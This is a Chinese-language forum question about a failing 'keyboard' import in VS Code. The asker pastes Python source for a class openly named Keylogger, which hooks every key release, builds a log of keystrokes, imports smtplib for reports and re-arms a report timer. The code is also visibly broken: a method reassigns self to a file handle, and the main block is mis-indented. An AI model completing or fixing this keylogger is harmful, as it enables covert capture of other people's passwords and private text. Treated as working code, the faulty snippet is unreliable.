使用python和VS Code在“键盘”上导入错误

我不知道为什么我的“键盘”无法导入VS Code。我在CMD中安装了“ pip3安装键盘”,并且已正确安装。然后,我用VS代码打开了一个新项目,编写了此代码并修复了所有错误之后,现在它告诉我键盘导入失败。这是代码

import keyboard #does the keylogs
import smtplib

from threading import Semaphore, Timer

SEND_REPORT_EVERY = 5

class Keylogger:
    def __init__(self, interval):
        self.interval = interval

        self.log = ""

        self.semaphore = Semaphore(0)
    def callback(self, event):
        name = event.name
        if len(name) > 1:
            if name == "space":
                name = " "

            elif name == "enter":
                name = "[Enter]\n"

            elif name == "decimal":
                name = "."
            else:
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        self.log += name

    def report(self):

        if self.log:
            self = open("E:\\downloads\\onjab.txt")
            self.log
            Timer(interval=self.interval, function=self.report).start()

    def start(self):
        keyboard.on_release(callback=self.callback)
        self.report()
        self.semaphore.acquire()

    if __name__ == "__main__":
    keylogger = Keylogger(interval=SEND_REPORT_EVERY)
    keylogger.start()

谁能帮我解决导入错误?我必须添加另一行以确保依赖关系存在吗?

评论